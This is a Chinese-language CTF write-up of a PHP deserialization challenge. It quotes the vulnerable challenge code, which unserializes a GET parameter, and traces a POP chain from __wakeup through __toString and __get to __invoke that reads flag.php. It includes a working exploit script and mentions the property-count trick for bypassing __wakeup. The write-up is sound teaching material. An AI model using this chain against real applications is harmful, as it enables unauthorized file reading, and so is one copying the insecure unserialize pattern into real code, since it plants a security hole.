題目來源
來自於prontosil師傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more
分析
<?php error_reporting(1); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); } public function __get($key) { $function = $this->p; return $function(); } } if(isset($_GET['hello'])) { unserialize($_GET['hello']); } else { $show = new Show('index.php'); $show->_show(); }
這篇文章是無意中手機上看到的文章,真的覺得這種構造鏈很有意思,所以自己分析了一波。跟這位師傅一樣,可能一連串的鏈已經想好如何構造了,但是就是卡在最關鍵的一步,最開始的一步如何去調用__toString()呢。下面具體來分析,原文是有注釋的,我這里刪除了。還沒看下文的師傅,自己分析一波看看,沒必要直接看分析。
分析
最初始的第一步看需要輸入的參數
如果存在hello字段輸入就會反序列化操作,如果不存在就會new一個show類,構造方法初始index.php,在調用_show(),輸出index.php文件
我們分析完最基礎的一步,沒什么用。主要是反序列化鏈的構造。
第一層
我們可以看到file_get(),目的就是調用Read類中的file_get讀取到flag文件。
我們看到test類中的__get()和Read中的__invoke()的魔術方法
_get魔術方法: 當訪問類中的私有屬性或者是不存在的屬性,觸發__get魔術方法
__invoke魔術方法 : 當類的一個對象被當作函數調用的時候觸發
這里就是要通過__get方法將$p賦值為new Read(),然后將Read作為函數調用就會觸發__invoke方法,將$var賦值為flag地址就可以讀到flag
那問題來了,如何去觸發__get魔術方法呢。
第二層
在Show類中,還有一個__toString()魔術方法,當類作為字符串使用時觸發__toString()
如果能觸發__toString的話,就可以將str['str'] new成Test類,調用source這樣Test類不存在的屬性時,就觸發了__get魔術方法
但是問題又來了,誰來觸發__toString()呢
第三層(難點)
第三層我一開始跟這位師傅一樣,完全沒有想到,__wakeup,之前做的題目一般都是需要繞過__wakeup,因為在反序列化一開始就會調用__wakeup魔術方法,所以一開始就把這個魔術方法作為需要bypass的東西,然后這卻是我們最需要利用的最開始的一步。
原因在於preg_match會將$this->source作為字符串來使用,去執行匹配。
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; }
因而如果將 source賦值一個new Show類的話,在反序列化一開始調用__wakeup,preg_match觸發__toString。這樣就達成了上述的條件。
完整的鏈
preg_match()->__tostring()->__get()->invoke()
exp
這里自己分析完寫了一個exp.php
<?php class Read { public $var="flag.php"; } class Show { public $source; public $str; } class Test { public $p; } $a=new Show(); $a->source=$a; //觸發__toString $a->str['str']=new Test(); $a->str['str']->p=new Read(); echo serialize($a);
本地phpstudy搭建了一個環境
base64解碼得到flag
對於寫這篇文章師傅后期分析的繞過__wakeup方法,只要序列化字符串中屬性個數大於本身的類的屬性個數即可繞過,以前在哪個比賽中已經用過這個繞過。一時想不起來,以至於我一開始看到__wakeup,就覺得需要繞過,而不是去利用。😅。這道題用preg_match將變量作為字符串來觸發__toString()很有意思啊。受益匪淺,一直很喜歡這種鏈的構造。